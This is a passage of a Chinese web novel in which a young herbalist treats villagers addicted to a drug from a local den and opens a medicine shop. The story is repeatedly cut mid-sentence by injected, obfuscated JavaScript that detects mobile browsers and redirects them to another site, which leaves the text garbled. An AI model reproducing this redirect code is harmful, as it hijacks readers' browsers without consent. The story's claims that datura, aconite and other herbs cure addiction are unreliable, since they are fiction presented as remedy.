许芷快速地将早就准备的东西都带上,出门跟祖母说了声就要走。 邓老天一听,着急道:“先别走。” 许芷正欲转身,听到这话又看向从地里出来的祖母。 只是邓老太的眼神没落在她身上,而是看着她身后三位里正说道:“我们家小芷虽然厉害,可她也是人,你们可不能狠着用她,不能让她累了伤了,要不然到时候我挨个去你们门前说理去!” 张永仁立刻回道:“老嫂子放心,我肯定不会让许丫头掉一根汗**的。” 另外两人也跟着附和道: “我是许丫头的堂伯,亲戚!怎么会让她有事?” “许丫头这可是为了我们,我有事也不可能让她有事。” 闻言,邓老太有些不情愿的嗯了声,眼神又落在了许芷的身上。 “听祖母的,这事儿咱能干就干,不能干就拉倒,这么多人呢,还能啥事儿都让咱一个小姑娘抗?” 许芷闻言感动道:“放心吧祖母,孙女心里有数。” 说完四人赶紧去了双羊村,顺道也把高羊村的谢乾叫了去。 许芷刚到就透过门缝观察里面人的情况。 而其他的四个里正则是去了另外的空屋里商量,主要是给谢乾说商量的结果。 谢乾听了没什么意见,爽快的答应。 屋里关着的人看似都没事儿,但是许芷看他们的脸色就知道这些人有多痛苦。 这会儿都安安生生的,眼神空洞又破败的坐在炕上。 许芷看过也不耽误,当即去找里正,让他们找三个炉子、三个药罐来。 高富贵一听立刻去了村里准备,剩下的除了下坪村里正在这陪着许芷。 高羊村和上坪村的都回去了,该拿钱的拿钱,该拿粮食的拿粮食。 同时也跟村里的人交代一下,挑选出合适的人来看管。 一刻钟之后,许芷就拿到了药罐和小炉子。 她这次买的药材主要有十种:延胡索、洋金花、附子、丹参、白芍、酸枣仁、青风藤、钩藤、黄芪和黄连。 除此之外,她还拿出了一直在乾坤屋里种着的人参。 这些药基本都有安神、镇痛、清心、静气和止颤的作用,但又各有不同。 附子和延胡索都能都有效的止颤。 洋金花能有效减弱面部抽搐、四肢伸展、腹泻、多尿和异样姿势。 人参能缓解症状,同时减缓体内的瘾性。 丹参主要是镇痛活血。 黄芪有解毒、益气固表之效。 酸枣仁则是宁心、安神、敛汗。 青风藤和钩藤也都是镇痛和镇静的作用。 其中按照许芷对药性的了解,最有效的应该是延胡索、人参、黄芪和丹参。 因为几种药材**效有所重合,许芷写成了三个药方,她要试试哪个最有效。 这个废弃的练兵场是有个简陋的书房,许芷就在这分药熬药。 她刚把药材都分好,就听到了有人进来的声音。 转头去看,原来是里正张爷爷。 “张爷爷。” 许芷先问过,然后继续分药。 张爷爷看着那一堆一堆的药材,他除了那根人参认识,剩下的什么都不认得。 也不知道许丫头从哪学来的这本事。 他看了会儿有些无聊,就跟许芷说道:“你分完之后算一算这些一共是多少钱,你是为了这几个村子再忙,钱肯定不用你出。” 许芷听到没像之前那样客气,她出力可以,出钱也不太行。 她的钱也不是大风刮来的,而且这些药材都不便宜。 现在那些药田还要打理,自己的钱也不一定够。 所以她嗯了声应下,就继续开始配药。 配完之后,许芷想到了什么,问里正何时回村子。 张永仁以为她需要什么,积极道:“你若是有需要的东西,跟我说就行,我现在就帮你回去取。” 许芷摇摇头道:“不是我需要东西,而是村子里的药田盖的油布该收了,再不收药苗都要捂**。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097548|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里正一听,这可是大事,忙让她放心试药方,村里的药田有他不必担心。 许芷是相信里正的,只叮嘱了一下油布收了之后的归置。 “张爷爷,谁家地里的油布收了之后放谁家保存就行。 您跟他们说冬天用的还是这个,若谁家的丢了或者有损坏耽误了药苗种植就自己赔,让他们务必保存好。” “放心吧,许丫头。” 这点小事,里正还是能做好的,不会让许芷有后顾之忧。 正说着,突然邓耧子过来了。 许芷刚把三种药方的药泡上,就听到舅舅叫自己。 “舅舅?你不是出去做工了?” 邓耧子气喘吁吁的,看到许芷面前放药的桌子上有一碗水,拿着就要喝。 许芷看到立马打掉,迎上舅舅不解的目光,她皱眉道:“有毒。” 那是她刚刚泡药的碗。 闻言,邓耧子心有余悸的看着地上碎掉的碗,后怕的吞了口口水。 他好半天才回神,回答许芷的话。 “娘让我来保护你,怕你自己在这害怕。” 许芷点了点头,正好舅舅来了,还能让舅舅帮帮忙。 接下来半个多月,许芷细致入微,每一味药材精确到锱铢。 终于试出了最佳的药方,而关着的那些人,症状轻的明显不怎么发作了。 那些严重的,也由一天一发作,慢慢变成了两天,症状都有减弱。 每一个人的脸色都好了不少。 看着这些人都慢慢变好,几个里正打心底里高兴。 许芷买的药用的差不多了,她要去城里添置一些。 跟几个里正说了声,她就骑着马出发了。 因为里正之前跟其他村的里正商量的时候,已经写了**书递了上去。 许芷觉得这都过了半个多月了,应该官府早就出动查封那逍遥馆才对。 可是许芷往城里去的时候,发现情况比自己半个月前来的时候更差了。 她疑惑不已,特意绕路去了逍遥馆所在位置,那逍遥馆还完好的开着门。 不仅没有被查封,甚至生意还更火爆。 门外的人七倒八歪的等着进去,她满眼疑惑。 第148章 慧眼识珠 看着门外那些人,还有逍遥馆,许芷突然想通了一些事,怪不得这馆子能这样嚣张的开在闹市。 这只怕是大人物获利的工具,所以才能如此明目张胆。 至于是什么层级的大人物,许芷不得而知,她脸色凝重的去了怀清堂买药。 许芷刚走出去没多久,又听到了熟悉的声音。 杜仲赶着马车很快追了上来。 “许姑娘,好巧啊,咱们又见了。” 许芷心不在焉的冲他礼貌笑了一声,“好巧。” “许姑娘又去铺子里买药吗?” 杜仲跟许芷闲聊着。 许芷嗯了声,没有多说话,突然她闻到了一丝不同寻常的味道。 她转头找寻着这味道的来源,最后视线定格在了杜仲赶得马车上。 “杜仲大哥又去送药了吗?” 许芷突然开口问。 杜仲:“对啊,最近每天都送,也不知道怎么用这么快。” “往哪送啊?” 许芷看着杜仲的表情,不错过一丝一毫。 杜仲听到许芷的话,非常淡然开口道:“当然是往城外送,城里大家要什么药都去咱铺子里买了,不需要送。” 看着杜仲毫无变化的神色,许芷犹疑一瞬,跟着说道:“那倒是,怀清堂的名声十里八乡都清楚,谁还敢在城里开铺子跟你们抢生意。” 杜仲闻言笑的谦虚,“许姑娘就别打趣我们了,这都是东家的功劳,我就是个干活的。 况且我们也没拦着别人做生意,只要他们也是诚信经营,必然不差到哪去,是吧许姑娘。” 许芷顺着说道:“杜仲大哥这话说的不错,那我就不客气了。” 这话让杜仲有些摸不着头脑,正想问可眼珠一转,立马反应过来了。 “怪不得许姑娘打趣我,原是自己要跟我们抢生意啊。” 杜仲也开着玩笑说着。 “哎?这可不是抢生意,你们又没有不许别人开药馆,我只要诚信经营,赚钱与否那都是我的本事。” 这话许芷又原样的还给了杜仲,听到之后杜仲只是笑。 接着沉默的氛围在两人之间蔓延开,都只赶着自己的马不说话。 一会儿还是杜仲先开口,他挂着笑问许芷:“许姑娘打算开在哪啊?” 许芷也挂着同样的笑,轻启红唇吐露了两个字。 “秘密。” 没有听到答案的杜仲笑容僵在脸上,他以为跟许芷算是故交了,没想到...... 他很快就调整好了脸上的表情,自顾自的说道:“那我就等着许姑娘开业的时候去吃酒了。” 许芷淡淡的笑着应下了,让他到时候一定要来捧场。 说完后,一直到怀清堂两人再没说一句话。 而许芷闻到的那气味也跟着他们走了一路,始终围绕在他们的周围。 到了怀清堂,杜仲照例要帮许芷将马拴到后院去,让许芷先进去选药材。 而这次看着杜仲伸出要拿缰绳的手,许芷并没有把缰绳交出去,而是笑着提议: “要不我跟杜仲大哥一起去吧,每一次都麻烦你,我心中过意不去。” 杜仲刚想拒绝,又想到平日里许芷那倔强清冷的样子,又扯出笑容道:“那感情好,我还要赶马车自然是顾不上许姑娘的马。” 两人一起到了怀清堂的后院,许芷跟着杜仲去了马厩,将自己的马栓好后,她看着正在将马和舆分开的杜仲。 走上前套近乎的问道:“杜仲大哥,你们这舆多少钱?我这一匹马自己来城里还方便些,可若是想家里人一起来,还是得去做牛车不方便。” 杜仲闻言摇摇头道:“这我不清楚,这些都是管事的去谈的,我只管用,不管这些。” “那能让我上去了解感受一下吗?我毕竟从来没买过这东西,用的也少,真要买没什么经验。” 许芷软着声音问道。 这不是什么难以答应的条件,所以杜仲爽快的答应了,让许芷进去看看。 许芷听到他答应,笑容灿烂的进去了。 进去后帘子放下的瞬间,她收起了笑容,一丝不苟的检查着里面。 她正检查着突然帘子被掀开了,许芷警惕的往外看。 黄药师不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097549|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么时候过来的,他看到许芷嘴角勾起,询问道:“许丫头,你这是干什么呢?” 许芷顺手按了按座垫,脸色如常的回道:“我也想买舆,所以进来看看了解一下,省的到时候去买的时候什么都不懂露怯。” 闻言,黄药师脸上笑意更深,“原是如此,许丫头真是不一样了,还记得刚见你的时候就是个黄毛小丫头,不过两年,竟然能买得起马车了。” 许芷也跟着笑,她看着黄药师放在帘子上的手并未有放下的意思,她的手紧了紧跟着出来了。 自谦道:“要不是黄药师您当时慧眼识珠,愿意给我个制丸的活计,只怕我现在还是那个黄毛丫头。” 这话说的黄药师心情大好,他拍了拍许芷的肩膀说道:“你这丫头嘴甜,不过那也是你自己有能力。 何况我就给你个制丸的活,可你那药田是自己努力出来的,还是你这丫头自己行。” 闻言,许芷只是笑。 “好了,看完就赶紧去买药吧,别耽误了时辰,你家距离城里也不算近。” 黄药师道。 “哎。” 许芷应了了一声,跟着杜仲去了前厅。 黄药师看着许芷去了前面,脸上的笑容瞬间消失,立刻上了舆检查了一番。 没看到什么异常,便下来了。 去了前厅的许芷,将怀中写好的药方递给了杜仲,“还是老规矩,药材分开装。” 杜仲接过看到跟上次的药方不错什么,就是减少了几味药材。 他顺嘴问道:“许姑娘,上次那药那么快就用完了?” 许芷嗯了声,观察着铺子里的人。 正儿八经药铺里没见到有那些人,街上反而多的是。 她随口说道:“最近城里是发生了什么事儿吗?” 杜仲一边称药材,一边摇头说回答许芷的问题。 “并未听到有什么大事儿发生,许姑娘何出此言啊?” 他顺势反问回去。 许芷眼神放空的看着铺子外面的街道,缓缓道:“没什么,只是觉得今日来城中,觉得街道上的乞丐叫花多了不少。” 第149章 乾坤铺子 杜仲闻言也深有感触道:“没错,许姑娘,最近我也发现了,可是没听到哪里有灾,出事儿的,怎么会多了这么多难民一般的人。” 许芷攥紧了手里的东西,笑着摇摇头,无所谓的说着:“谁知道呢?不过不关我们的事儿,我们过好自己的日子就成。” “没错。” 杜仲将装好的药材推到了许芷的面前,附和她道。 许芷拿好药等着杜仲把自己的马牵了出来就走了。 不过她没有直接回家,而是去了她买下的铺子那里,打开铺子的门,仔细地用脚丈量过才回去。 回去后去了上次给她做家具的木匠那里,定做了一批柜子和一个药柜才回了双羊村去熬药。 等到晚上她回家的时候,去了里正家里,特意问了**书的事情。 里正闻言不明白怎么问这个。 许芷严肃问道:“张爷爷可听说城中逍遥馆被查封的任何消息?” 里正摇摇头:“这些日子我都没去过城中,所以并未听说什么,你今日去了城中怎么说?” “那逍遥馆还好好的开着。” 许芷说这句话的时候,脸色和眼神都变冷了。 闻言,里正大骇,他们早就提交了**书,怎么官府还没行动。 这种害人的东西再多在城中一日,都不知道多少人被祸害,怎么能这么久了还没查封。 但是再着急,里正也觉得他就是个村里的小里正,怎么可能去干涉县太爷的事情。 说不准县衙早就开始调查了,不过是那些人太狡猾,屡屡没有抓到实证,所以才耽搁了下来。 所以他安抚许芷道:“县太爷肯定已经着手去调查了,这事儿不是小事,再等等吧。” 许芷不这么认为,就像里正说的这可不是小事,只要听到不管有没有实质证据,都该按照律法先查封再调查。 怎么会任由那个逍遥馆开着,没有一点行为。 那可是**,不是寻常之物。 但胳膊拧不过大腿这件事许芷清楚,也明白里正的顾虑,她只好按下心中的猜测,跟里正说自己后面的打算。 “张爷爷,我打算去城里开铺子了,这一个疗程的药结束之后,我就不会再去双羊村了。 那些症状轻些的人,这一疗程结束之后就没什么事了,后续看管好就行。 而症状严重些的,让她们家里人去城里我的铺子领汤药。” “啥?” 里正闻言不可置信的看向许芷。 他第一反应想到是村里的那些药田,要是许丫头去了城里,地里的药怎么办。 他们可都不会照顾那些药苗,虽然都是几十年的庄稼人,可是药苗大家不熟悉啊。 没有许芷领头,大家根本就是无头苍蝇。 “这些上瘾的人先不说,你若是去了城里,这药田咋办啊?” 里正担心的问道。 许芷:“张爷爷您别担心,我舅舅、娇娇和她的三叔三婶,还有你的两个侄子都是我手把手教过的,我会把该做的事情都交代给他们的。 另外这些药苗也好弄,无非就是该浇水浇水,该锄草就锄草,其他的到了收成的时候我一定会回来教大家该怎么弄。 再说了我只是在城里不是不回来,有什么事儿我随时都能回来的。 我那铺子真开起来了,日后大家种的药苗全都有了去处,对大家来说是好事。” 里正闻言没什么说的,只好应下了,嘱咐她好好干。 三月初一,升城悄然开了一家名为乾坤的铺子。 因为这铺子的前身,那家早餐铺子很是有名,故而看到铺子重新开了张,大家都纷纷来看看这铺子改成了什么样式。 只见那铺子没怎么变,就是原来那四张桌子没了,取而代之的是药柜,还有一些箱柜。 原本他们买早餐的窗口,此时摆上了一个个的小炉子,炉子上的药罐子全都咕咕嘟嘟的冒着烟。 铺子里少了一老一少的忙碌的身影,不过同样有一道倩影穿梭在柜台前。 有人忍不住问道:“姑娘,你这是开了个什么铺子啊?煎这么多药给谁啊?” 闻言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097550|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,正在忙碌的许芷转过身,看着好奇的人们,她笑道:“药用铺子。” “啥是药用铺子啊?” 人群中有人不解的问。 听到了许芷的话他们又打量起了这铺子,里面确实好像除了药没有其他的东西。 许芷耐心的解释道:“就是只卖跟药有关的用品。” 听着她的解释,大家更疑惑了,有人直接问道:“姑娘,你开啥玩笑呢?你这铺子里除了这几个冒着烟的药罐子,没见啥用的东西啊。” 许芷听到也不生气,继续解释道:“本来没打算这么早开张的,可看到了我同村的人不知道中了什么毒,平时看着没事,突然发作之时狂躁不安,浑身抽搐,没几日人就变得消瘦,眼眶凹陷,脸色黑青。 我从小懂得些医术,知道这是中了毒所致,所以我创了药方治好了同村的人,只是我听说城里这样的人更多,所以才提前开了铺子,先卖着解毒的汤药。 若是大家身边有这样的人,可来我这买解毒的汤药,一碗五十文,无效双倍还钱。” 她并不明着说是吸了逍遥馆的烟膏所致,只是说是中了毒。 但只是这样,也足够围观的人想清楚到底是怎么回事了。 毕竟身边好多人都出现了这样的症状,他们虽然并不清楚是为什么,可是也都知道是逍遥观出现之后才这样的。 如今结合许芷说中了毒的事情,都自然的想到了那逍遥馆的烟膏应当是有毒的。 可许芷这种半路跳出来的人,说的话到底能信吗? 倒不是不信**的事情,而是不信许芷能替大家解毒,从来没听说过人谁敢直接用她熬的汤药。 而且一碗竟然要五十文,比一斤猪肉还贵! 看出来了大家脸色中的犹疑,她正想继续说头一个人她免费赠汤药,喝过有效大家可以相信她,若是无效她十倍赔偿。 可还没说出口,突然街边一个睡着蓬头垢面的人,浑身开始颤抖,身上好像数万只蚂蚁在爬一样的不安。 他翻来覆去的滚着,把街上的人吓了一跳。 第150章 解毒汤药 难受的他看向街上的人求助着:“大爷大妈,求求你们,把我、把我送到逍遥馆吧,我快难受**,求求你们救救我,救救我!” 可是路边的人看到他除了害怕还是害怕,恨不得远离他,又有谁会理会他的求助。 所有的人冷漠的看着他,绕着他走。 而刚刚在许芷铺子前问东问西的人,此时都被这男人吸引了目光。 人群里有好事的,故意开口道:“姑娘,这不现成的,给我们看看你这药有多厉害。” 此话一出,大家纷纷附和道。 “是啊,姑娘,你光说你这药能解毒,可谁敢信啊?” “你要是能把这人控制住了,我们就信你。” “看着十五六岁的模样,哪有那老中医厉害,年纪轻轻的可别说大话。” 听着大家对她的质疑,许芷不慌不忙,将刚刚熬制好的药倒出,隔碗放在冷水里快速降温过。 求助的目光放在人群中,“烦请几位身强力壮的大哥帮我将那人按住,我现在喂药给他。” 话音落下,人群里走出了三个壮汉,看好戏一般的上前去,死死按住了那抓狂的人。 许芷走上前,看着地上那被按住还在拼命挣扎的男人。 想要喂药,却怎么都喂不进去。 虽然有那三个人按着,可这人拼了命的不配合,就算按着头,可他的牙齿紧紧咬着。 其中一个壮汉想腾开手,捏住他的下巴,让他被动的张开嘴。 可是一旦松手,他就跟进了水的鱼一样滑溜溜的剧烈翻腾,所以三人只能死死的按着他的身体。 眼见这样喂不进去,周围的人看着都着急,纷纷叫着让再上几个人。 可偏偏这会儿,那抓狂的人一口咬在了左边按着他的人胳膊上。 见状无人敢上前去了。 还有人劝许芷算了,让她赶紧关门吧。 可许芷面无惧色的上前,凭着父亲教的记忆按了两个穴位。 那人瞬间张开了咬着别人的嘴,狂躁的样子也安生了一些,许芷上前捏着下巴将药灌了进去。 不消一会儿,那人渐渐不再颤抖,眼神也逐渐清明。 按着他的人见他消停了些,试探着放开了手,也不见那人再次变得狂躁。 他们有些不可信的说了句:“嘿,这人还真让治住了。” 一旁看热闹的人也觉得惊讶无比,他们几乎都领教过这东西的威力。 一旦发作,除了送到那逍遥馆,没个一天或者一夜是根本消停不下来的。 可看着这姑娘喂下药,一刻不到,那人竟然安定了下来。 只见那人一脸懵的看着众人,不明白的问:“我这是怎么了?” 人群中,有人认出了他。 “这不是老王家那个儿子吗?听说得罪了人出去躲了,怎么会变成了这样?” 他们口中那个老王的儿子,听到自己被认出来了,难堪的低下了头。 但众人是根本不会理会他的难堪的,只是看热闹一样的兴奋的告知他,救了他的人是他面前的这个小姑娘。 此时他才想到自己刚刚的发作的样子,不太相信的活动了活动四肢,仔细感受了一下,真的没了那种蚀骨钻心的难受感。 他感激的对许芷说:“姑娘谢谢你,这么些日子了,我头一次这么舒服,你给我喝的啥啊?” 许芷淡然道:“这是我研制的解毒汤药,你应当也是去了那逍遥馆才变成这样的吧?” 那人愣了愣,点了点头,因为这事儿他家里人都闹掰了,从前的正经活计也没了。 所以多少有些挂不住脸,他转身就想走,却被许芷叫住了。 “你先别走,今日这一碗汤药只是暂时给你解了燃眉之急,若是想要不再发作,还是要跟着喝药的。” 那人一听,讪讪道:“我没钱,你就别管我了,生死有命。” 许芷这店里需要一个伙计,也需要一个活招牌。 所以她当着众人的面说:“你是我这铺子的第一个主顾,我不收你钱,你给我当伙计就行。” 那人一听有些不敢相信,他指着自己问道:“你确定吗?就我刚刚那样子,狗见了都想离远一点,你竟然敢用我?” 许芷垂眸淡定反问道:“为何不敢?” 看着对面的姑娘镇定自若的样子,倒是让他有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097551|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些意外。 许芷继续说道:“我既然敢买这汤药,定然是对它的疗效有信心的,把你治好了,也算是给我自己立了块招牌。” 闻言,王金宝才确定面前的姑娘是认真的。 他有些结巴的问:“你就不怕我是块破招牌?” 许芷看着他,无比认真的又说了一遍。 “我对我的药有信心,只要你不是不想好,故意使坏,你就不会是块坏招牌。” 王金宝垂下头想了想,他是被迫沾上这东西的,被朋友骗了。 沾上之后他无时无刻不再后悔,可发作起来实在是忍不住。 辛苦攒了这么多年娶亲的钱都丢了进去,待嫁的青梅小娟得知后,一气之下嫁给了别人。 他心灰意冷之下不愿继续坑害家里人,所以做了局让别人以为自己畏罪潜逃,实则是离家出走了。 出走后,本以为自己还能找个工做,起码养活自己。 可是这无时无刻会发作,让自己干什么都不行,没过多久就流落街头,成了个人人嫌弃的乞丐。 若是能摆脱这东西,他当然拼了命都想,何况这姑娘还给他工做。 再抬起头,王金宝坚定道:“姑娘,你若是能让我脱离这苦海,别说给你当伙计,就是这辈子、下辈子给你当牛做马我都愿意。” 许芷闻言走进了铺子,拿出纸笔快速写了张租契,递给他。 王金宝看到郑重保证道:“姑娘,你不用担心我食言或者跑路,我家就在这县城里,就在——” “我不是不信你。”许芷抬手打断了他的话,“有了文书更正式,日后给你发工钱什么的,都有凭可依。” 王金宝看许芷神色认真,他想着为了让救命恩人放心,就签下了租契。 签下之后,他问许芷自己要干什么? 许芷看了看早已意动的人群,走到了铺子的窗户前,说道:“你盛汤药,我收钱。” 此话一出本来还在凑热闹的人,赶紧到了窗口排队。 他们可是亲眼看到发作起来的人,一碗药汤下去一刻钟不到就恢复了正常。 早就饱受折磨的人瞬间就信了许芷的话。 第151章 姑娘掌柜 许芷跟王金宝说,这些药罐子里的药都熬好了,首先要做的就是把药罐子都从炉子上拿下来,再放就熬坏了。 两人一起把所有药罐子都拿了下来,又拿出了许芷早就添置好的碗,一碗碗的倒好。 许芷看着外面的长队,提前说道:“各位乡亲,这药不好熬制,我一人只能看顾过来这二十个药罐,熬一次要半天,一天只能出两次药。 一个药罐出三碗药,二十个药罐子,也就是六十碗汤药,两次就是一百二十碗,再多没有了。 需要的就提前来,若是排到没有了我也没法子。 另外,今天只有六十碗,信的人买了汤药回去喝了有效,下次再来买要带着喝药的人一起过来。” 说完王金宝这边也把汤药都倒好了,他一碗碗的放在了许芷面前的案子上。 而听了许芷话的百姓,那些本就持怀疑态度的,纷纷走开了。 本就只有六十碗,可是这**的人上百人都有,所以他们就不争抢,等着看看那些买了的人是不是真的跟今日一样有效。 而且谁也不敢打包票,今日之事是不是许芷和这王金宝故意做的局。 他们走了之后,队伍还是很长,许芷和王金宝有条不紊的将所有的汤药卖了出去。 许芷还交代了他们:“这碗是我们乾坤铺子特制的,上面有我们的标识,除了头次买的,下次买还要带这个碗来,要不然不卖。” 除此之外,她还问过买药的人名姓记在了纸上,这样有双重保险。 这碗确实是她特制的,不似平时的碗那样敞口,而是收紧的小口双层,又能保温又不怕拿回去的时候会洒。 其实说是壶也行。 不过半个时辰,所有的汤药都卖完了。 王金宝收拾着药罐子,问许芷要不要再熬一次? 许芷摇了摇头说:“不用了,再熬不一定有人买,先让这些人回去试过就好。” 说完后,王金宝继续收拾药罐子,将所有的药渣都倒在一起,先扔到了后院,又把药罐子一个个清洗干净。 而许芷则是在记录今日的开支,收入好算,一碗五十文,六十碗一共三两银子。 但是有一碗给了王金宝是不要钱的,所以应该是二两九钱五十文。 这些药材一共一两七钱,看似挣了二两二钱,可是还没算她添置这些药罐、药炉和柜子的钱。 不过许芷倒是不急,哪有刚开始第一日就赚回本的。 算完之后,许芷去帮王金宝刷药罐,两个人干活会快一些。 只是王金宝说什么都不让她干,说这是他应该干的,让许芷别沾手了。 争抢不过,许芷也就不管了。 许芷没事打算整理一下今日来买的人的名单。 每个人都单独写一张纸,等再来买的时候,许芷要按照每个人程度的不同,设置疗程。 看着伏案的许芷,刷着药罐的王金宝欲言又止。 许芷察觉到了那道视线,她头也不抬的直接问道:“王大哥有什么事情可以直接讲。” 闻言,得知许芷知道自己看着她,王金宝讪笑两声,小心地开口说:“许掌柜,那个...我能不能住在铺子里,我看你一个小姑娘,一个人在铺子里怕是不安全,总要有个男人在。” 其实他是没脸回家,又觉得有了工还躺大街不太好。 所以他看到后院好几个房间,才斗胆开了口。 当然保护许芷也在他的考量之内,也有怕许芷不同意表明自己用处的意思。 “我晚上不住这。”许芷道。 听到这话,王金宝眼神暗淡了一瞬,既然许姑娘不住这,那他找的理由岂不是不成立了。 没等他暗淡多久,就又听到许芷说:“你住这也行,正好晚上看着着店,另外——” 许芷转头看着他,继续道:“叫我许姑娘就行。” 许掌柜听起来总有一种她已经四五十岁的感觉,怎么听怎么别扭,她才十六。 听到许芷让他住在这,王金宝高兴道:“谢谢你,许姑娘掌柜。” 闻言,许芷怔一瞬,这还不如许掌柜呢。 她张嘴想说些什么,但是又怕出现‘许姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097552|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘掌柜’这种情况,索性闭了嘴,随他叫吧,左右不过是个称呼。 等到他刷完了药罐,许芷开口让他过来坐下。 王金宝疑惑的过来坐下。 “伸出手。” 说完,许芷放了个脉枕过去,王金宝了然的伸出了手。 许芷给他诊过脉,确定了他的情况,记录下来。 跟他说道:“今日这药你喝进去药效不错,不过只是暂时压制住了,起码还得十碗汤药要喝,在你治愈之前我不希望你随意上街出去。” 许芷说这话,不是为了限制他的人身自由,而是为了不让他再度发生什么意外。 王金宝也正有此意,他暂时还没脸出去。 于是爽快的答应了。 “还有其他的吩咐吗?掌柜。” 他又问道。 许芷想了想,又道:“我回家前,会给你再熬一碗汤药,你喝下去之后,我会给你锁进屋里,若是不发作就算了,发作起来,你在那屋里随意。” 王金宝听到这话,脸上多了丝羞愧。 “你放心吧许掌柜,我睡前把自己捆起来,一定不破坏你这铺子。” 许芷点了点头,说了声自己要出去买锁头,让他在铺子里先待着。 因为卖完了所以铺子的门板已经关了一半,窗户也关上了。 许芷拿了钱就出去了,王金宝无所事事,自己给自己找事做,打了盆水开始在铺子里擦擦洗洗。 到了锁铺,许芷直接买了三把锁和三条锁链,一个房间配一把。 买完之后,没什么事的她就回了铺子。 下午给王金宝熬了汤药之后,看着他喝下,将人锁进了房间之后,她便回了村。 回去前,顺道去买了些吃的回去。 等她到家的时候,王茹娇也在。 她看到许芷回来,忙迎上去。 “小芷,你终于回来了,怎么样?卖出去了吗?” 其实听说许芷要去城里开铺子,他们都想过去帮忙,可是现在正是药田忙的时候,浇水、除虫和锄草都是事情。 第152章 大肉包子 许芷让他们这些跟着第一年种药材的一定要留在村子里,指导大家怎么做。 所以王茹娇、祖母、舅舅和孟雨兰都担心她一个人忙不过来。 也不知道头一日能不能行,怕她这准备不全,或者有人欺负她。 所以都七嘴八舌的问她,感受到大家对她的关心,许芷唇角扬起。 可是她想说也插不进去,大家问的太密了。 她只好伸出手,让大家先停一下。 “我知道大家担心我,但是大家先别急,一个一个问我,要不然我不知道该回答谁啊?” 说完她笑出声,眼珠亮亮的看着大家。 邓老太在这里面辈分最大,她开口道:“先听我的,我先问。” 闻言,大家都安静了等着邓老太问许芷。 邓老太抓住许芷的手,关切的问道:“有没有人为难你?累不累? 我听说城里有那种专门敲诈的,给铺子收钱美其名曰是保护,但是实际上就是仗着自己人多,欺负人的。 我就怕你一个小姑娘,那些人看到了,故意来找你事。” 许芷摇了摇头道:“祖母,你放心没有人为难我,头一日开张,也不累。” “真的?” 邓老太有些不信的盯着许芷的眼睛。 看到她的目光不闪不躲,肯定的回答:“真的没人为难我,今日很顺利。” 如此,邓老太才信了几分,点点头,喃喃自语:“无人欺负就好,这样我就放心些。” 但说完,还是对儿子邓耧子说,让他明日跟着许芷去,一个人总归是不行的。 许芷闻言摇摇头道:“祖母,舅舅还要在村子里帮我看好药田,我今日招了个伙计,能忙得过来,放心吧。” 邓老太不赞同道:“那怎么行?外人哪有自己人用着放心,你知道那人的底细?” “可是——” 许芷想说药田才是最重要的,怕邓老太生气,孟雨兰主动说道:“奶奶,明日我跟小妹去,反正今日药田里我也没帮上忙。” 今天药田里锄草,孟雨兰想着自己去,可是到了地才发现,村里人早就自觉地把许芷地里给收拾好了。 不管药田里要干啥,村里人都优先把许芷家的地给收拾了,根本用不上她们自己来。 闻言,邓老天觉得也行,起码有个认识的人一起帮衬着。 许芷闻言也觉得行,上次制的香囊早就送出去了,邓耧子还问了她几次还有没有,有人还想要。 但是她最近一直忙着制药的事情,这件事没顾得上。 